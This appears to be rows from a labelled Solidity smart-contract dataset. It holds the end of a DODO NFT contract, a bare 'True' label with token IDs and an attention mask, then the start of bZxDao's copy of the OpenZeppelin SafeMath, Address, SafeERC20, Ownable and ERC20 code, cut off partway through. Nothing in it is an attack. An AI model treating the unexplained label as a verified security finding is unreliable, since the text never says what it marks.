// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
return super.tokenURI(tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual override {
super._burn(tokenId);
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
}
// File: contracts/lib/InitializableOwnable.sol
/**
* @title Ownable
* @author DODO Breeder
*
* @notice Ownership related functions
*/
contract InitializableOwnable {
address public _OWNER_;
address public _NEW_OWNER_;
bool internal _INITIALIZED_;
// ============ Events ============
event OwnershipTransferPrepared(address indexed previousOwner, address indexed newOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
// ============ Modifiers ============
modifier notInitialized() {
require(!_INITIALIZED_, "DODO_INITIALIZED");
_;
}
modifier onlyOwner() {
require(msg.sender == _OWNER_, "NOT_OWNER");
_;
}
// ============ Functions ============
function initOwner(address newOwner) public notInitialized {
_INITIALIZED_ = true;
_OWNER_ = newOwner;
}
function transferOwnership(address newOwner) public onlyOwner {
emit OwnershipTransferPrepared(_OWNER_, newOwner);
_NEW_OWNER_ = newOwner;
}
function claimOwnership() public {
require(msg.sender == _NEW_OWNER_, "INVALID_CLAIM");
emit OwnershipTransferred(_OWNER_, _NEW_OWNER_);
_OWNER_ = _NEW_OWNER_;
_NEW_OWNER_ = address(0);
}
}
// File: contracts/Factory/DODONFT.sol
contract DODONFT is ERC721URIStorage, InitializableOwnable {
uint256 public _CUR_TOKENID_;
// ============ Event =============
event DODONFTMint(address creator, uint256 tokenId);
event DODONFTBurn(uint256 tokenId);
function init(
address owner,
string memory name,
string memory symbol
) public {
initOwner(owner);
_name = name;
_symbol = symbol;
}
function mint(string calldata uri) external {
_safeMint(msg.sender, _CUR_TOKENID_);
_setTokenURI(_CUR_TOKENID_, uri);
emit DODONFTMint(msg.sender, _CUR_TOKENID_);
_CUR_TOKENID_ = _CUR_TOKENID_ + 1;
}
function burn(uint256 tokenId) external onlyOwner {
require(tokenId < _CUR_TOKENID_, "TOKENID_INVALID");
_burn(tokenId);
emit DODONFTBurn(tokenId);
}
} | True | [
101,
1013,
1013,
5371,
1024,
8311,
1013,
20014,
2546,
1013,
29464,
11890,
16048,
2629,
1012,
14017,
1013,
1013,
2023,
2003,
1037,
5371,
15826,
2013,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
2330,
4371,
27877,
2378,
1013,
2330,
4371,
27877,
2378,
1011,
8311,
1013,
1038,
4135,
2497,
1013,
14017,
2278,
1011,
1014,
1012,
1020,
1013,
8311,
1013,
17174,
13102,
18491,
1013,
29464,
11890,
16048,
2629,
1012,
14017,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1020,
1012,
1023,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
9413,
2278,
16048,
2629,
3115,
1010,
2004,
4225,
1999,
1996,
1008,
16770,
1024,
1013,
1013,
1041,
11514,
2015,
1012,
28855,
14820,
1012,
8917,
1013,
1041,
11514,
2015,
1013,
1041,
11514,
1011,
13913,
1031,
1041,
11514,
1033,
1012,
1008,
1008,
10408,
2545,
2064,
13520,
2490,
1997,
3206,
19706,
1010,
2029,
2064,
2059,
2022,
1008,
10861,
11998,
2011,
2500,
1006,
1063,
9413,
2278,
16048,
2629,
5403,
9102,
1065,
1007,
1012,
1008,
1008,
2005,
2019,
7375,
1010,
2156,
1063,
9413,
2278,
16048,
2629,
1065,
1012,
1008,
1013,
8278,
29464,
11890,
16048,
2629,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
2995,
2065,
2023,
3206,
22164,
1996,
8278,
4225,
2011,
1008,
1036,
8278,
3593,
1036,
1012,
2156,
1996,
7978,
1008,
16770,
1024,
1013,
1013,
1041,
11514,
2015,
1012,
28855,
14820,
1012,
8917,
1013,
1041,
11514,
2015,
1013,
1041,
11514,
1011,
13913,
1001,
2129,
1011,
19706,
1011,
2024,
1011,
4453,
1031,
1041,
11514,
2930,
1033,
1008,
2000,
4553,
2062,
2055,
2129,
2122,
8909,
2015,
2024,
2580,
1012,
1008,
1008,
2023,
3853,
2655,
2442,
2224,
2625,
2084,
2382,
2199,
3806,
1012,
1008,
1013,
3853,
6753,
18447,
2121,
12172,
1006,
27507,
2549,
8278,
3593,
1007,
6327,
3193,
5651,
1006,
22017,
2140,
1007,
1025,
1065,
1013,
1013,
5371,
1024,
8311,
1013,
20014,
2546,
1013,
29464,
11890,
2581,
17465,
1012,
14017,
1013,
1008,
1008,
1008,
1030,
16475,
3223,
8278,
1997,
2019,
9413,
2278,
2581,
17465,
24577,
3206,
1012,
1008,
1013,
8278,
29464,
11890,
2581,
17465,
2003,
29464,
11890,
16048,
2629,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
22627,
2043,
1036,
19204,
3593,
1036,
19204,
2003,
4015,
2013,
1036,
2013,
1036,
2000,
1036,
2000,
1036,
1012,
1008,
1013,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
17788,
2575,
25331,
19204,
3593,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
22627,
2043,
1036,
3954,
1036,
12939,
1036,
4844,
1036,
2000,
6133,
1996,
1036,
19204,
3593,
1036,
19204,
1012,
1008,
1013,
2724,
6226,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
4844,
1010,
21318,
3372,
17788,
2575,
25331,
19204,
3593,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
22627,
2043,
1036,
3954,
1036,
12939,
2030,
4487,
19150,
2015,
1006,
1036,
4844,
1036,
1007,
1036,
6872,
1036,
2000,
6133,
2035,
1997,
2049,
7045,
1012,
1008,
1013,
2724,
6226,
29278,
8095,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
6872,
1010,
22017,
2140,
4844,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
2193,
1997,
19204,
2015,
1999,
1036,
1036,
3954,
1036,
1036,
1005,
1055,
4070,
1012,
1008,
1013,
3853,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
/**
* Copyright 2017-2021, bZxDao. All Rights Reserved.
* Licensed under the Apache License, Version 2.0.
*/
// SPDX-License-Identifier: Apache License, Version 2.0.
pragma solidity 0.6.12;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
